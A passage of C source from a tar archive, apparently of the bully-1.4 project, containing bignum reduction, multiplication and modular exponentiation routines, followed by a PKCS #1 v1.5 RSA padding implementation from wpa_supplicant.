mp_count_bits(n); top: /* q = a/2**p, a = a mod 2**p */ if ((res = mp_div_2d(a, p, &q, a)) != MP_OKAY) { goto ERR; } /* q = q * d */ if ((res = mp_mul(&q, d, &q)) != MP_OKAY) { goto ERR; } /* a = a + q */ if ((res = s_mp_add(a, &q, a)) != MP_OKAY) { goto ERR; } if (mp_cmp_mag(a, n) != MP_LT) { s_mp_sub(a, n, a); goto top; } ERR: mp_clear(&q); return res; } /* determines the setup value */ static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d) { int res; mp_int tmp; if ((res = mp_init(&tmp)) != MP_OKAY) { return res; } if ((res = mp_2expt(&tmp, mp_count_bits(a))) != MP_OKAY) { goto ERR; } if ((res = s_mp_sub(&tmp, a, d)) != MP_OKAY) { goto ERR; } ERR: mp_clear(&tmp); return res; } /* computes a = 2**b * * Simple algorithm which zeroes the int, grows it then just sets one bit * as required. */ static int mp_2expt (mp_int * a, int b) { int res; /* zero a as per default */ mp_zero (a); /* grow a to accomodate the single bit */ if ((res = mp_grow (a, b / DIGIT_BIT + 1)) != MP_OKAY) { return res; } /* set the used count of where the bit will go */ a->used = b / DIGIT_BIT + 1; /* put the single bit in its place */ a->dp[b / DIGIT_BIT] = ((mp_digit)1) << (b % DIGIT_BIT); return MP_OKAY; } /* pre-calculate the value required for Barrett reduction * For a given modulus "b" it calulates the value required in "a" */ static int mp_reduce_setup (mp_int * a, mp_int * b) { int res; if ((res = mp_2expt (a, b->used * 2 * DIGIT_BIT)) != MP_OKAY) { return res; } return mp_div (a, b, a, NULL); } /* reduces x mod m, assumes 0 < x < m**2, mu is * precomputed via mp_reduce_setup. * From HAC pp.604 Algorithm 14.42 */ static int mp_reduce (mp_int * x, mp_int * m, mp_int * mu) { mp_int q; int res, um = m->used; /* q = x */ if ((res = mp_init_copy (&q, x)) != MP_OKAY) { return res; } /* q1 = x / b**(k-1) */ mp_rshd (&q, um - 1); /* according to HAC this optimization is ok */ if (((unsigned long) um) > (((mp_digit)1) << (DIGIT_BIT - 1))) { if ((res = mp_mul (&q, mu, &q)) != MP_OKAY) { goto CLEANUP; } } else { #ifdef BN_S_MP_MUL_HIGH_DIGS_C if ((res = s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) { goto CLEANUP; } #elif defined(BN_FAST_S_MP_MUL_HIGH_DIGS_C) if ((res = fast_s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) { goto CLEANUP; } #else { #error mp_reduce would always fail res = MP_VAL; goto CLEANUP; } #endif } /* q3 = q2 / b**(k+1) */ mp_rshd (&q, um + 1); /* x = x mod b**(k+1), quick (no division) */ if ((res = mp_mod_2d (x, DIGIT_BIT * (um + 1), x)) != MP_OKAY) { goto CLEANUP; } /* q = q * m mod b**(k+1), quick (no division) */ if ((res = s_mp_mul_digs (&q, m, &q, um + 1)) != MP_OKAY) { goto CLEANUP; } /* x = x - q */ if ((res = mp_sub (x, &q, x)) != MP_OKAY) { goto CLEANUP; } /* If x < 0, add b**(k+1) to it */ if (mp_cmp_d (x, 0) == MP_LT) { mp_set (&q, 1); if ((res = mp_lshd (&q, um + 1)) != MP_OKAY) { goto CLEANUP; } if ((res = mp_add (x, &q, x)) != MP_OKAY) { goto CLEANUP; } } /* Back off if it's too big */ while (mp_cmp (x, m) != MP_LT) { if ((res = s_mp_sub (x, m, x)) != MP_OKAY) { goto CLEANUP; } } CLEANUP: mp_clear (&q); return res; } /* multiplies |a| * |b| and only computes upto digs digits of result * HAC pp. 595, Algorithm 14.12 Modified so you can control how * many digits of output are created. */ static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { mp_int t; int res, pa, pb, ix, iy; mp_digit u; mp_word r; mp_digit tmpx, *tmpt, *tmpy; /* can we use the fast multiplier? */ if (((digs) < MP_WARRAY) && MIN (a->used, b->used) < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { return fast_s_mp_mul_digs (a, b, c, digs); } if ((res = mp_init_size (&t, digs)) != MP_OKAY) { return res; } t.used = digs; /* compute the digits of the product directly */ pa = a->used; for (ix = 0; ix < pa; ix++) { /* set the carry to zero */ u = 0; /* limit ourselves to making digs digits of output */ pb = MIN (b->used, digs - ix); /* setup some aliases */ /* copy of the digit from a used within the nested loop */ tmpx = a->dp[ix]; /* an alias for the destination shifted ix places */ tmpt = t.dp + ix; /* an alias for the digits of b */ tmpy = b->dp; /* compute the columns of the output and propagate the carry */ for (iy = 0; iy < pb; iy++) { /* compute the column as a mp_word */ r = ((mp_word)*tmpt) + ((mp_word)tmpx) * ((mp_word)*tmpy++) + ((mp_word) u); /* the new column is the lower part of the result */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* get the carry word from the result */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } /* set carry if it is placed below digs */ if (ix + iy < digs) { *tmpt = u; } } mp_clamp (&t); mp_exch (&t, c); mp_clear (&t); return MP_OKAY; } /* Fast (comba) multiplier * * This is the fast column-array [comba] multiplier. It is * designed to compute the columns of the product first * then handle the carries afterwards. This has the effect * of making the nested loops that compute the columns very * simple and schedulable on super-scalar processors. * * This has been modified to produce a variable number of * digits of output so if say only a half-product is required * you don't have to compute the upper half (a feature * required for fast Barrett reduction). * * Based on Algorithm 14.12 on pp.595 of HAC. * */ static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { int olduse, res, pa, ix, iz; mp_digit W[MP_WARRAY]; register mp_word _W; /* grow the destination as required */ if (c->alloc < digs) { if ((res = mp_grow (c, digs)) != MP_OKAY) { return res; } } /* number of output digits to produce */ pa = MIN(digs, a->used + b->used); /* clear the carry */ _W = 0; for (ix = 0; ix < pa; ix++) { int tx, ty; int iy; mp_digit *tmpx, *tmpy; /* get offsets into the two bignums */ ty = MIN(b->used-1, ix); tx = ix - ty; /* setup temp aliases */ tmpx = a->dp + tx; tmpy = b->dp + ty; /* this is the number of times the loop will iterrate, essentially while (tx++ < a->used && ty-- >= 0) { ... } */ iy = MIN(a->used-tx, ty+1); /* execute loop */ for (iz = 0; iz < iy; ++iz) { _W += ((mp_word)*tmpx++)*((mp_word)*tmpy--); } /* store term */ W[ix] = ((mp_digit)_W) & MP_MASK; /* make next carry */ _W = _W >> ((mp_word)DIGIT_BIT); } /* setup dest */ olduse = c->used; c->used = pa; { register mp_digit *tmpc; tmpc = c->dp; for (ix = 0; ix < pa+1; ix++) { /* now extract the previous digit [below the carry] */ *tmpc++ = W[ix]; } /* clear unused digits [that existed in the old copy of c] */ for (; ix < olduse; ix++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* init an mp_init for a given size */ static int mp_init_size (mp_int * a, int size) { int x; /* pad size so there are always extra digits */ size += (MP_PREC * 2) - (size % MP_PREC); /* alloc mem */ a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * size); if (a->dp == NULL) { return MP_MEM; } /* set the members */ a->used = 0; a->alloc = size; a->sign = MP_ZPOS; /* zero the digits */ for (x = 0; x < size; x++) { a->dp[x] = 0; } return MP_OKAY; } /* low level squaring, b = a*a, HAC pp.596-597, Algorithm 14.16 */ static int s_mp_sqr (mp_int * a, mp_int * b) { mp_int t; int res, ix, iy, pa; mp_word r; mp_digit u, tmpx, *tmpt; pa = a->used; if ((res = mp_init_size (&t, 2*pa + 1)) != MP_OKAY) { return res; } /* default used is maximum possible size */ t.used = 2*pa + 1; for (ix = 0; ix < pa; ix++) { /* first calculate the digit at 2*ix */ /* calculate double precision result */ r = ((mp_word) t.dp[2*ix]) + ((mp_word)a->dp[ix])*((mp_word)a->dp[ix]); /* store lower part in result */ t.dp[ix+ix] = (mp_digit) (r & ((mp_word) MP_MASK)); /* get the carry */ u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); /* left hand side of A[ix] * A[iy] */ tmpx = a->dp[ix]; /* alias for where to store the results */ tmpt = t.dp + (2*ix + 1); for (iy = ix + 1; iy < pa; iy++) { /* first calculate the product */ r = ((mp_word)tmpx) * ((mp_word)a->dp[iy]); /* now calculate the double precision result, note we use * addition instead of *2 since it's easier to optimize */ r = ((mp_word) *tmpt) + r + r + ((mp_word) u); /* store lower part */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* get carry */ u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); } /* propagate upwards */ while (u != ((mp_digit) 0)) { r = ((mp_word) *tmpt) + ((mp_word) u); *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); } } mp_clamp (&t); mp_exch (&t, b); mp_clear (&t); return MP_OKAY; } /* multiplies |a| * |b| and does not compute the lower digs digits * [meant to get the higher part of the product] */ static int s_mp_mul_high_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { mp_int t; int res, pa, pb, ix, iy; mp_digit u; mp_word r; mp_digit tmpx, *tmpt, *tmpy; /* can we use the fast multiplier? */ #ifdef BN_FAST_S_MP_MUL_HIGH_DIGS_C if (((a->used + b->used + 1) < MP_WARRAY) && MIN (a->used, b->used) < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { return fast_s_mp_mul_high_digs (a, b, c, digs); } #endif if ((res = mp_init_size (&t, a->used + b->used + 1)) != MP_OKAY) { return res; } t.used = a->used + b->used + 1; pa = a->used; pb = b->used; for (ix = 0; ix < pa; ix++) { /* clear the carry */ u = 0; /* left hand side of A[ix] * B[iy] */ tmpx = a->dp[ix]; /* alias to the address of where the digits will be stored */ tmpt = &(t.dp[digs]); /* alias for where to read the right hand side from */ tmpy = b->dp + (digs - ix); for (iy = digs - ix; iy < pb; iy++) { /* calculate the double precision result */ r = ((mp_word)*tmpt) + ((mp_word)tmpx) * ((mp_word)*tmpy++) + ((mp_word) u); /* get the lower part */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* carry the carry */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } *tmpt = u; } mp_clamp (&t); mp_exch (&t, c); mp_clear (&t); return MP_OKAY; } #ifdef BN_MP_MONTGOMERY_SETUP_C /* setups the montgomery reduction stuff */ static int mp_montgomery_setup (mp_int * n, mp_digit * rho) { mp_digit x, b; /* fast inversion mod 2**k * * Based on the fact that * * XA = 1 (mod 2**n) => (X(2-XA)) A = 1 (mod 2**2n) * => 2*X*A - X*X*A*A = 1 * => 2*(1) - (1) = 1 */ b = n->dp[0]; if ((b & 1) == 0) { return MP_VAL; } x = (((b + 2) & 4) << 1) + b; /* here x*a==1 mod 2**4 */ x *= 2 - b * x; /* here x*a==1 mod 2**8 */ #if !defined(MP_8BIT) x *= 2 - b * x; /* here x*a==1 mod 2**16 */ #endif #if defined(MP_64BIT) || !(defined(MP_8BIT) || defined(MP_16BIT)) x *= 2 - b * x; /* here x*a==1 mod 2**32 */ #endif #ifdef MP_64BIT x *= 2 - b * x; /* here x*a==1 mod 2**64 */ #endif /* rho = -1/m mod b */ *rho = (unsigned long)(((mp_word)1 << ((mp_word) DIGIT_BIT)) - x) & MP_MASK; return MP_OKAY; } #endif #ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C /* computes xR**-1 == x (mod N) via Montgomery Reduction * * This is an optimized implementation of montgomery_reduce * which uses the comba method to quickly calculate the columns of the * reduction. * * Based on Algorithm 14.32 on pp.601 of HAC. */ int fast_mp_montgomery_reduce (mp_int * x, mp_int * n, mp_digit rho) { int ix, res, olduse; mp_word W[MP_WARRAY]; /* get old used count */ olduse = x->used; /* grow a as required */ if (x->alloc < n->used + 1) { if ((res = mp_grow (x, n->used + 1)) != MP_OKAY) { return res; } } /* first we have to get the digits of the input into * an array of double precision words W[...] */ { register mp_word *_W; register mp_digit *tmpx; /* alias for the W[] array */ _W = W; /* alias for the digits of x*/ tmpx = x->dp; /* copy the digits of a into W[0..a->used-1] */ for (ix = 0; ix < x->used; ix++) { *_W++ = *tmpx++; } /* zero the high words of W[a->used..m->used*2] */ for (; ix < n->used * 2 + 1; ix++) { *_W++ = 0; } } /* now we proceed to zero successive digits * from the least significant upwards */ for (ix = 0; ix < n->used; ix++) { /* mu = ai * m' mod b * * We avoid a double precision multiplication (which isn't required) * by casting the value down to a mp_digit. Note this requires * that W[ix-1] have the carry cleared (see after the inner loop) */ register mp_digit mu; mu = (mp_digit) (((W[ix] & MP_MASK) * rho) & MP_MASK); /* a = a + mu * m * b**i * * This is computed in place and on the fly. The multiplication * by b**i is handled by offseting which columns the results * are added to. * * Note the comba method normally doesn't handle carries in the * inner loop In this case we fix the carry from the previous * column since the Montgomery reduction requires digits of the * result (so far) [see above] to work. This is * handled by fixing up one carry after the inner loop. The * carry fixups are done in order so after these loops the * first m->used words of W[] have the carries fixed */ { register int iy; register mp_digit *tmpn; register mp_word *_W; /* alias for the digits of the modulus */ tmpn = n->dp; /* Alias for the columns set by an offset of ix */ _W = W + ix; /* inner loop */ for (iy = 0; iy < n->used; iy++) { *_W++ += ((mp_word)mu) * ((mp_word)*tmpn++); } } /* now fix carry for next digit, W[ix+1] */ W[ix + 1] += W[ix] >> ((mp_word) DIGIT_BIT); } /* now we have to propagate the carries and * shift the words downward [all those least * significant digits we zeroed]. */ { register mp_digit *tmpx; register mp_word *_W, *_W1; /* nox fix rest of carries */ /* alias for current word */ _W1 = W + ix; /* alias for next word, where the carry goes */ _W = W + ++ix; for (; ix <= n->used * 2 + 1; ix++) { *_W++ += *_W1++ >> ((mp_word) DIGIT_BIT); } /* copy out, A = A/b**n * * The result is A/b**n but instead of converting from an * array of mp_word to mp_digit than calling mp_rshd * we just copy them in the right order */ /* alias for destination word */ tmpx = x->dp; /* alias for shifted double precision result */ _W = W + n->used; for (ix = 0; ix < n->used + 1; ix++) { *tmpx++ = (mp_digit)(*_W++ & ((mp_word) MP_MASK)); } /* zero oldused digits, if the input a was larger than * m->used+1 we'll have to clear the digits */ for (; ix < olduse; ix++) { *tmpx++ = 0; } } /* set the max used and clamp */ x->used = n->used + 1; mp_clamp (x); /* if A >= m then A = A - m */ if (mp_cmp_mag (x, n) != MP_LT) { return s_mp_sub (x, n, x); } return MP_OKAY; } #endif #ifdef BN_MP_MUL_2_C /* b = a*2 */ static int mp_mul_2(mp_int * a, mp_int * b) { int x, res, oldused; /* grow to accomodate result */ if (b->alloc < a->used + 1) { if ((res = mp_grow (b, a->used + 1)) != MP_OKAY) { return res; } } oldused = b->used; b->used = a->used; { register mp_digit r, rr, *tmpa, *tmpb; /* alias for source */ tmpa = a->dp; /* alias for dest */ tmpb = b->dp; /* carry */ r = 0; for (x = 0; x < a->used; x++) { /* get what will be the *next* carry bit from the * MSB of the current digit */ rr = *tmpa >> ((mp_digit)(DIGIT_BIT - 1)); /* now shift up this digit, add in the carry [from the previous] */ *tmpb++ = ((*tmpa++ << ((mp_digit)1)) | r) & MP_MASK; /* copy the carry that would be from the source * digit into the next iteration */ r = rr; } /* new leading digit? */ if (r != 0) { /* add a MSB which is always 1 at this point */ *tmpb = 1; ++(b->used); } /* now zero any excess digits on the destination * that we didn't write to */ tmpb = b->dp + b->used; for (x = b->used; x < oldused; x++) { *tmpb++ = 0; } } b->sign = a->sign; return MP_OKAY; } #endif #ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C /* * shifts with subtractions when the result is greater than b. * * The method is slightly modified to shift B unconditionally upto just under * the leading bit of b. This saves alot of multiple precision shifting. */ static int mp_montgomery_calc_normalization (mp_int * a, mp_int * b) { int x, bits, res; /* how many bits of last digit does b use */ bits = mp_count_bits (b) % DIGIT_BIT; if (b->used > 1) { if ((res = mp_2expt (a, (b->used - 1) * DIGIT_BIT + bits - 1)) != MP_OKAY) { return res; } } else { mp_set(a, 1); bits = 1; } /* now compute C = A * B mod b */ for (x = bits - 1; x < (int)DIGIT_BIT; x++) { if ((res = mp_mul_2 (a, a)) != MP_OKAY) { return res; } if (mp_cmp_mag (a, b) != MP_LT) { if ((res = s_mp_sub (a, b, a)) != MP_OKAY) { return res; } } } return MP_OKAY; } #endif #ifdef BN_MP_EXPTMOD_FAST_C /* computes Y == G**X mod P, HAC pp.616, Algorithm 14.85 * * Uses a left-to-right k-ary sliding window to compute the modular exponentiation. * The value of k changes based on the size of the exponent. * * Uses Montgomery or Diminished Radix reduction [whichever appropriate] */ static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode) { mp_int M[TAB_SIZE], res; mp_digit buf, mp; int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; /* use a pointer to the reduction algorithm. This allows us to use * one of many reduction algorithms without modding the guts of * the code with if statements everywhere. */ int (*redux)(mp_int*,mp_int*,mp_digit); /* find window size */ x = mp_count_bits (X); if (x <= 7) { winsize = 2; } else if (x <= 36) { winsize = 3; } else if (x <= 140) { winsize = 4; } else if (x <= 450) { winsize = 5; } else if (x <= 1303) { winsize = 6; } else if (x <= 3529) { winsize = 7; } else { winsize = 8; } #ifdef MP_LOW_MEM if (winsize > 5) { winsize = 5; } #endif /* init M array */ /* init first cell */ if ((err = mp_init(&M[1])) != MP_OKAY) { return err; } /* now init the second half of the array */ for (x = 1<<(winsize-1); x < (1 << winsize); x++) { if ((err = mp_init(&M[x])) != MP_OKAY) { for (y = 1<<(winsize-1); y < x; y++) { mp_clear (&M[y]); } mp_clear(&M[1]); return err; } } /* determine and setup reduction code */ if (redmode == 0) { #ifdef BN_MP_MONTGOMERY_SETUP_C /* now setup montgomery */ if ((err = mp_montgomery_setup (P, &mp)) != MP_OKAY) { goto LBL_M; } #else err = MP_VAL; goto LBL_M; #endif /* automatically pick the comba one if available (saves quite a few calls/ifs) */ #ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C if (((P->used * 2 + 1) < MP_WARRAY) && P->used < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { redux = fast_mp_montgomery_reduce; } else #endif { #ifdef BN_MP_MONTGOMERY_REDUCE_C /* use slower baseline Montgomery method */ redux = mp_montgomery_reduce; #else err = MP_VAL; goto LBL_M; #endif } } else if (redmode == 1) { #if defined(BN_MP_DR_SETUP_C) && defined(BN_MP_DR_REDUCE_C) /* setup DR reduction for moduli of the form B**k - b */ mp_dr_setup(P, &mp); redux = mp_dr_reduce; #else err = MP_VAL; goto LBL_M; #endif } else { #if defined(BN_MP_REDUCE_2K_SETUP_C) && defined(BN_MP_REDUCE_2K_C) /* setup DR reduction for moduli of the form 2**k - b */ if ((err = mp_reduce_2k_setup(P, &mp)) != MP_OKAY) { goto LBL_M; } redux = mp_reduce_2k; #else err = MP_VAL; goto LBL_M; #endif } /* setup result */ if ((err = mp_init (&res)) != MP_OKAY) { goto LBL_M; } /* create M table * * * The first half of the table is not computed though accept for M[0] and M[1] */ if (redmode == 0) { #ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C /* now we need R mod m */ if ((err = mp_montgomery_calc_normalization (&res, P)) != MP_OKAY) { goto LBL_RES; } #else err = MP_VAL; goto LBL_RES; #endif /* now set M[1] to G * R mod m */ if ((err = mp_mulmod (G, &res, P, &M[1])) != MP_OKAY) { goto LBL_RES; } } else { mp_set(&res, 1); if ((err = mp_mod(G, P, &M[1])) != MP_OKAY) { goto LBL_RES; } } /* compute the value at M[1<<(winsize-1)] by squaring M[1] (winsize-1) times */ if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_RES; } for (x = 0; x < (winsize - 1); x++) { if ((err = mp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&M[1 << (winsize - 1)], P, mp)) != MP_OKAY) { goto LBL_RES; } } /* create upper table */ for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&M[x], P, mp)) != MP_OKAY) { goto LBL_RES; } } /* set initial mode and bit cnt */ mode = 0; bitcnt = 1; buf = 0; digidx = X->used - 1; bitcpy = 0; bitbuf = 0; for (;;) { /* grab next digit as required */ if (--bitcnt == 0) { /* if digidx == -1 we are out of digits so break */ if (digidx == -1) { break; } /* read next digit and reset bitcnt */ buf = X->dp[digidx--]; bitcnt = (int)DIGIT_BIT; } /* grab the next msb from the exponent */ y = (mp_digit)(buf >> (DIGIT_BIT - 1)) & 1; buf <<= (mp_digit)1; /* if the bit is zero and mode == 0 then we ignore it * These represent the leading zero bits before the first 1 bit * in the exponent. Technically this opt is not required but it * does lower the # of trivial squaring/reductions used */ if (mode == 0 && y == 0) { continue; } /* if the bit is zero and mode == 1 then we square */ if (mode == 1 && y == 0) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } continue; } /* else we add it to the window */ bitbuf |= (y << (winsize - ++bitcpy)); mode = 2; if (bitcpy == winsize) { /* ok window is filled so square as required and multiply */ /* square first */ for (x = 0; x < winsize; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } /* then multiply */ if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } /* empty window and reset */ bitcpy = 0; bitbuf = 0; mode = 1; } } /* if bits remain then square/multiply */ if (mode == 2 && bitcpy > 0) { /* square then multiply if the bit is set */ for (x = 0; x < bitcpy; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } /* get next bit of the window */ bitbuf <<= 1; if ((bitbuf & (1 << winsize)) != 0) { /* then multiply */ if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } } } if (redmode == 0) { /* fixup result if Montgomery reduction is used * recall that any value in a Montgomery system is * actually multiplied by R mod n. So we have * to reduce one more time to cancel out the factor * of R. */ if ((err = redux(&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } /* swap res with Y */ mp_exch (&res, Y); err = MP_OKAY; LBL_RES:mp_clear (&res); LBL_M: mp_clear(&M[1]); for (x = 1<<(winsize-1); x < (1 << winsize); x++) { mp_clear (&M[x]); } return err; } #endif #ifdef BN_FAST_S_MP_SQR_C /* the jist of squaring... * you do like mult except the offset of the tmpx [one that * starts closer to zero] can't equal the offset of tmpy. * So basically you set up iy like before then you min it with * (ty-tx) so that it never happens. You double all those * you add in the inner loop After that loop you do the squares and add them in. */ static int fast_s_mp_sqr (mp_int * a, mp_int * b) { int olduse, res, pa, ix, iz; mp_digit W[MP_WARRAY], *tmpx; mp_word W1; /* grow the destination as required */ pa = a->used + a->used; if (b->alloc < pa) { if ((res = mp_grow (b, pa)) != MP_OKAY) { return res; } } /* number of output digits to produce */ W1 = 0; for (ix = 0; ix < pa; ix++) { int tx, ty, iy; mp_word _W; mp_digit *tmpy; /* clear counter */ _W = 0; /* get offsets into the two bignums */ ty = MIN(a->used-1, ix); tx = ix - ty; /* setup temp aliases */ tmpx = a->dp + tx; tmpy = a->dp + ty; /* this is the number of times the loop will iterrate, essentially while (tx++ < a->used && ty-- >= 0) { ... } */ iy = MIN(a->used-tx, ty+1); /* now for squaring tx can never equal ty * we halve the distance since they approach at a rate of 2x * and we have to round because odd cases need to be executed */ iy = MIN(iy, (ty-tx+1)>>1); /* execute loop */ for (iz = 0; iz < iy; iz++) { _W += ((mp_word)*tmpx++)*((mp_word)*tmpy--); } /* double the inner product and add carry */ _W = _W + _W + W1; /* even columns have the square term in them */ if ((ix&1) == 0) { _W += ((mp_word)a->dp[ix>>1])*((mp_word)a->dp[ix>>1]); } /* store it */ W[ix] = (mp_digit)(_W & MP_MASK); /* make next carry */ W1 = _W >> ((mp_word)DIGIT_BIT); } /* setup dest */ olduse = b->used; b->used = a->used+a->used; { mp_digit *tmpb; tmpb = b->dp; for (ix = 0; ix < pa; ix++) { *tmpb++ = W[ix] & MP_MASK; } /* clear unused digits [that existed in the old copy of c] */ for (; ix < olduse; ix++) { *tmpb++ = 0; } } mp_clamp (b); return MP_OKAY; } #endif #ifdef BN_MP_MUL_D_C /* multiply by a digit */ static int mp_mul_d (mp_int * a, mp_digit b, mp_int * c) { mp_digit u, *tmpa, *tmpc; mp_word r; int ix, res, olduse; /* make sure c is big enough to hold a*b */ if (c->alloc < a->used + 1) { if ((res = mp_grow (c, a->used + 1)) != MP_OKAY) { return res; } } /* get the original destinations used count */ olduse = c->used; /* set the sign */ c->sign = a->sign; /* alias for a->dp [source] */ tmpa = a->dp; /* alias for c->dp [dest] */ tmpc = c->dp; /* zero carry */ u = 0; /* compute columns */ for (ix = 0; ix < a->used; ix++) { /* compute product and carry sum for this term */ r = ((mp_word) u) + ((mp_word)*tmpa++) * ((mp_word)b); /* mask off higher bits to get a single digit */ *tmpc++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* send carry into next iteration */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } /* store final carry [if any] and increment ix offset */ *tmpc++ = u; ++ix; /* now zero digits above the top */ while (ix++ < olduse) { *tmpc++ = 0; } /* set used count */ c->used = a->used + 1; mp_clamp(c); return MP_OKAY; } #endif bully-1.4-00/src/tls/pkcs1.c000077500000000000000000000105731361530463600155200ustar00rootroot00000000000000/* * PKCS #1 (RSA Encryption) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "rsa.h" #include "pkcs1.h" static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t ps_len; u8 *pos; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 for private-key operation; 02 for public-key operation * PS = k-3-||D||; at least eight octets * (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero) * k = length of modulus in octets (modlen) */ if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer " "lengths (modlen=%lu outlen=%lu inlen=%lu)", __func__, (unsigned long) modlen, (unsigned long) *outlen, (unsigned long) inlen); return -1; } pos = out; *pos++ = 0x00; *pos++ = block_type; /* BT */ ps_len = modlen - inlen - 3; switch (block_type) { case 0: os_memset(pos, 0x00, ps_len); pos += ps_len; break; case 1: os_memset(pos, 0xff, ps_len); pos += ps_len; break; case 2: if (os_get_random(pos, ps_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get " "random data for PS", __func__); return -1; } while (ps_len--) { if (*pos == 0x00) *pos = 0x01; pos++; } break; default: wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type " "%d", __func__, block_type); return -1; } *pos++ = 0x00; os_memcpy(pos, in, inlen); /* D */ return 0; } int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key, int use_private, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t modlen; modlen = crypto_rsa_get_modulus_len(key); if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen, out, outlen) < 0) return -1; return crypto_rsa_exptmod(out, modlen, out, outlen, key, use_private); } int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { int res; u8 *pos, *end; res = crypto_rsa_exptmod(in, inlen, out, outlen, key, 1); if (res) return res; if (*outlen < 2 || out[0] != 0 || out[1] != 2) return -1; /* Skip PS (pseudorandom non-zero octets) */ pos = out + 2; end = out + *outlen; while (*pos && pos < end) pos++; if (pos == end) return -1; pos++; *outlen -= pos - out; /* Strip PKCS #1 header */ os_memmove(out, pos, *outlen); return 0; } int pkcs1_decrypt_public_key(struct crypto_rsa_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { size_t len; u8 *pos; len = *plain_len; if (crypto_rsa_exptmod(crypt, crypt_len, plain, &len, key, 0) < 0) return -1; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 * PS = k-3-||D|| times (00 if BT=00) or (FF if BT=01) * k = length of modulus in octets */ if (len < 3 + 8 + 16 /* min hash len */ || plain[0] != 0x00 || (plain[1] != 0x00 && plain[1] != 0x01)) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure"); return -1; } pos = plain + 3; if (plain[1] == 0x00) { /* BT = 00 */ if (plain[2] != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature " "PS (BT=00)"); return -1; } while (pos + 1 < plain + len && *pos == 0x00 && pos[1] == 0x00) pos++; } else { /* BT = 01 */ if (plain[2] != 0xff) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature " "PS (BT=01)"); return -1; } while (pos < plain + len && *pos == 0xff) pos++; } if (pos - plain - 2 < 8) { /* PKCS #1 v1.5, 8.1: At least eight octets long PS */ wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature " "padding"); return -1; } if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure (2)"); return -1; } pos++; len -= pos - plain; /* Strip PKCS #1 header */ os_memmove(plain, pos, len); *plain_len = len; return 0; } 